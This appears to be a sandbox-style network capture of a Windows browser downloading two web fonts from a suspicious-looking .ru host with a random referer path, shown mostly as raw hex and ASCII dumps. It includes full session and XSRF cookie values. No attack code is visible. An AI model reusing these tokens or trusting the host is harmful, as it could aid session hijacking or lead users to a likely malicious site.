2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d e7 9d 71 5e ab 6f d5 3a fd e6 a3 ea 80 0b a6 f8 b7 66 9b 6a f9 f3 de b0 6c 5d 91 41 fb 55 e9 61 b1 07 7f af 1a 07 d4 e9 74 d4 71 87 1d 53 6b 42 d2 61 a3 2a dc 56 2f f9 94 4b e8 6e 35 a0 95 fc 21 95 ba 39 12 3d ac 96 41 e5 cc 83 5e 3e db 79 03 f8 0c 5e cb 96 bf 92 2a 5b bd e6 b9 2a a9 bb e2 91 c7 9e 78 e6 b9 57 66 7d b3 65 db 77 bf e3 de 80 35 64 25 fd 36 92 47 cf 3e 7d 5f 6e e3 ad 58 7f be b1 99 be cd 15 de 0b 26 5e 92 c5 62 ef 35 07 6f 38 79 c7 d1 5b 2e 56 29 5a 45 f7 91 a7 7f 79 f9 44 ce 02 0f ff f0 f2 93 bc 4e c0 f5 02 6f c0 b8 91 b2 35 fb 6e 15 7c 8b bd 77 6a dd 43 b1 df 38 9a 7b 42 ef 12 76 b7 75 e1 ed 45 05 8a e8 20 b2 Data Ascii: ~{7/&6X=JO7?Yq^o:fjl]AUatqSkBaV/Kn5!9=A^>y^[xWf}ew5d%6G>}_nX&^b5o8y[.V)ZEyDNo5n\|wjC8{BvuE
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 ee 5c ef b4 cb 85 21 1e 96 9d a0 a3 b1 c2 7d 45 9d 56 20 61 10 ab 5e 8e af b7 44 c1 41 79 72 28 b2 40 92 a6 76 40 d7 e9 9b 4e 17 70 c3 eb 07 ce b7 44 c7 5b c7 63 f9 4a fd d8 4e 56 2f cf af ee d8 24 78 49 15 c6 14 f7 ab 2c a4 75 fe c9 c2 66 1c d6 24 71 d3 2d 29 99 d0 52 63 a2 e2 cd b4 65 85 a7 0e 36 57 41 36 56 58 30 d6 23 83 e3 70 94 17 66 1c c2 45 aa ae cb b4 7a ea 60 12 7c b4 a5 f8 88 b5 1e 5e c2 f4 84 11 6c b3 6a 2f 19 20 76 93 d4 30 8c a0 43 60 5a 02 b6 86 06 43 15 03 f8 e9 de 72 8e 3a 34 91 e2 f4 87 5f a5 aa 47 88 20 c9 fa fb ce 20 2b 8c 56 d2 ed aa 25 a8 23 24 28 3a a4 17 c2 5e 60 66 2a 8e 73 a7 de 62 48 89 0f 92 c8 10 Data Ascii: uC-hXC1uhO~4w'\!}EV a^DAyr(@v@NpD[cJNV/$xI,uf$q-)Rce6WA6VX0#pfEz`\|^lj/ v0C`ZCr:4_G +V%#$(:^`f*sbH
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 28 88 e9 61 21 f3 ca 66 a2 92 b8 04 af ef 77 01 2a 09 ff 91 f0 69 77 23 61 21 25 46 28 08 a1 1a b9 32 ee a4 7a 2c 43 f1 5d 0f d7 d9 65 89 90 f3 df f1 15 f0 d2 09 5d e7 95 37 00 18 28 22 e9 a2 1e b9 c0 9b ab 68 a3 79 74 d9 52 b7 93 7a dc 8b 03 36 d0 90 31 30 a2 22 39 30 0b e9 af c4 ac ee 1a a5 27 78 e5 94 89 1f 92 35 2f d0 e1 36 92 dc 13 cf 16 14 2d f4 74 a5 e6 a9 57 17 69 9d 9f 61 97 5b a0 ea 8a dd 0a 65 cc b0 71 0d 44 47 a3 1c 7c 10 58 24 97 38 21 0c 62 5b 68 70 c9 54 52 48 b1 b4 62 11 48 69 de 26 c2 4b bb 1b 92 67 61 05 df cc 2e 5d fc b1 d9 57 bf 1d 61 25 09 cc c4 e7 b3 02 52 4f 2e 36 c9 82 17 10 4f b8 dd ab 21 07 59 30 8a Data Ascii: =VEUa_.=(ImoFx.G\Q\|Iy](a!fw*iw#a!%F(2z,C]e]7("hytRz610"90'x5/6-tWia[eqDG\|X$8!b[hpTRHbHi&Kga.]Wa%RO.6O!Y0
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 f6 0b 06 34 25 52 bf 52 4c 70 57 bf 97 33 c0 a8 71 9a 82 4d 81 d9 7c bc f7 d8 5f 66 46 0a 04 a5 9f 95 0f 3d fc 2f 17 3f 5e 43 fd 6c 6d e7 27 06 d3 df 98 97 6a 86 dc 2e 0c ba 71 ba ba 58 36 2e ce 5f 11 69 c0 a3 ae 38 d2 24 16 b8 20 50 cc fd 01 0f eb cb 42 75 0d 29 de 40 02 76 62 ac 0d d6 cc b6 42 3e f2 ed f1 93 3b 5f aa 81 90 71 ec ca ab 8a 73 b5 c4 68 3f 46 e1 c8 59 5d c2 3d da bf f9 eb 22 81 08 df 70 3e a9 f4 1e fe de 91 8e df 17 6f db e8 29 45 d2 10 bf 4e 8c 3d 28 54 f9 9c 6a 56 2d d4 f3 f9 8d 6f bb b1 5d 75 37 03 67 77 4b 0b 12 c2 6e 9b 97 47 5d ba be c7 ca 44 70 e6 80 2c 4f 95 71 9e 10 ea e0 14 1e ce 65 50 e5 34 a9 3e d6 Data Ascii: \|}8WfjsY}DKMKmB4%RRLpW3qM\|_fF=/?^Clm'j.qX6._i8$ PBu)@vbB>;_qsh?FY]="p>o)EN=(TjV-o]u7gwKnG]Dp,OqeP4>

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:59 UTC	1357	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive Origin: https://2y.osejonco.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
2025-03-16 23:37:59 UTC	1165	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:59 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" cf-cache-status: MISS Age: 941 Last-Modified: Sun, 16 Mar 2025 23:22:18 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KHXdpv0fdu%2F1mEOd6exd15bWSxtvacAWBpQcZsx0g2qi5mqoq5nUYMvKyDK7Roa4rapV0nLGtEUVKdHO5RGjTWVGaohj8XAeo54p%2FLaPb9Ob1yYbCElZm1bWs2Aa73P%2FQUiM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=334&min_rtt=311&rtt_var=131&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2266&delivery_rate=8715517&cwnd=252&unsent_bytes=0&cid=7324e9dcec540fb9&ts=22&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 921814e51e97e226-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2860&min_rtt=2811&rtt_var=1089&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1929&delivery_rate=1038776&cwnd=32&unsent_bytes=0&cid=a3e377beea418dbf&ts=213&x=0"
2025-03-16 23:37:59 UTC	204	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gasp
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 10 10 Data Ascii: glyf!tRa$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: ce 55 a5 a6 ac 70 bd 18 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b c0 f5 Data Ascii: UpmKagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)K
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 54 ba 5e 59 b5 2c 57 45 b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 46 ec Data Ascii: T^Y,WEzJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<tF
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 4d 26 77 24 9b 3c 21 38 ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 4b fe Data Ascii: M&w$<!89&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8K
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 7a 8a 1e 6b 12 76 92 67 f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 fc 97 Data Ascii: zkvgG=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AO
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 Data Ascii: nr4qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc` #
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 ee 10 Data Ascii: ]cL+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s
2025-03-16 23:37:59 UTC	233	IN	Data Raw: 44 92 69 b1 01 93 ff d0 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c Data Ascii: Di_\|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<
2025-03-16 23:37:59 UTC	1369	IN	Data Raw: ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b 9f ec 48 4e ee 78 72 a9 f4 ea bf fa 1a d6 1c 38 80 35 d7 56 af be 26 fc f3 c0 01 e1 9f d7 56 7f 56 bd e7 7c 67 e7 f9 3d d5 f2 ab 28 03 b9 3e e8 b7 37 a0 94 68 33 01 2f 23 cc b0 b8 1d 84 84 2c 2e 68 f7 7d 7d 02 fc 7d 02 7d 03 b5 f1 51 44 7f 49 2a 04 94 87 11 68 21 ab 8f f3 f8 ed fe 8b db cb 2b 76 5e 1e bc 2c e0 2b f7 ac 5c b5 f1 2a bf 33 67 e0 58 57 f7 b1 3e ab fd 4d d6 d4 d2 d4 d4 2d dc 0b cf ad 1a dd c6 df 00 1a 05 a2 54 64 b3 15 44 84 87 85 fa f1 0c ab d7 81 81 c0 94 01 69 66 b9 20 5b 70 10 46 a6 d8 a0 d4 e0 54 20 5b 20 0e 9c 94 6c 80 a2 1a 24 80 09 74 85 c9 1a 98 95 e5 48 3f e6 9f 4e f4 9b 3d f3 f5 93 af 57 bc dc 9b d3 1e ff e6 73 af 44 45 7c 0b 19 1f fc a6 f9 ad c3 6f 25 a7 7e a6 d3 5d 3b f0 Data Ascii: 2\|1&KHNxr85V&VV\|g=(>7h3/#,.h}}}}QDIh!+v^,+\3gXW>M-TdDif [pFT [ l$tH?N=WsDE\|o%~];

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:59 UTC	1361	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive Origin: https://2y.osejonco.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://2y.osejonco.ru/hruzkqxoscquhmojxirozgzngdpepl5ZROK5PNX8KMPTG5LD7W?DFUXXQNZLFPEFTDXJI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImR4d0dYVlFMRVZXYWRjNFVKdmRJemc9PSIsInZhbHVlIjoiU1hTT3VWUHdFcWFqWlExUzkyR0VaV0VYRGFvZUhXK1VIMkhsYnBMZ0tkUlVhMTloZ2ppdDU2cVdOVkx0MEZ0Q3AwKzhoclRQNWU5M2RLY2ErOVpyNDNQZ2I2eVQza3RIbHl2WjBRVS8xb05TWkV1SXhPcXVMdXdsbkNybGVrSVQiLCJtYWMiOiJjMzRmOWFiZTI5MjgyOWIxNzViZmNmZTEzYzNiYmFmZjU1ZmFjMjZlY2JmMmY4NWU0MjdmMTgwM2IyMDVmZjFkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZYU3RSMkFtaTlPMWdNTnpFaFBWUlE9PSIsInZhbHVlIjoidDl4OE5lenRMVXR6c2RhZnd6VzVhMnJUZVpFSXJ4RWRDNmg3L2RxOEx3MW1FS251WG1DTzRyRVdZbmNaK1ZqRW95bWRtZEIvOGhCNVR5UWRhclF4UkdtRjdZdnFZRDhUMEt6ZTlldm44OXN0d3dZcUZLRjRQWGJBTDk0Znh0d0giLCJtYWMiOiI0ODkyNDQxMzJmNDA4ZDlhYjZlMGZlZTFkMTVlYTA0ODI3ZDEwMGY0MmM4ZjU3NmZlYWQ2MDgyNmE4OGQ0MTRmIiwidGFnIjoiIn0%3D
2025-03-16 23:38:00 UTC	1170	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:59 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" Last-Modified: Sun, 16 Mar 2025 22:55:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=diFrd6x06HfOLRcFwDoIsfH%2FSxBp65eJU0kyVc%2Fgi7cAos0%2Bnf4iiLxgfbmo3B1l9Ze9idodXjCYdamtO6i3dgL3SHQ33E8%2Bp6S%2FGHs5cF2XqHNiHVJmBNnr6zzRZvrZU%2BQ8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=16227&min_rtt=16217&rtt_var=4580&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2272&delivery_rate=248341&cwnd=252&unsent_bytes=0&cid=1acd631671576073&ts=36&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 921814e51a2ade98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1469&min_rtt=1464&rtt_var=560&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1933&delivery_rate=1932495&cwnd=189&unsent_bytes=0&cid=b5bcb62de224ceb8&ts=256&x=0"
2025-03-16 23:38:00 UTC	199	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oU
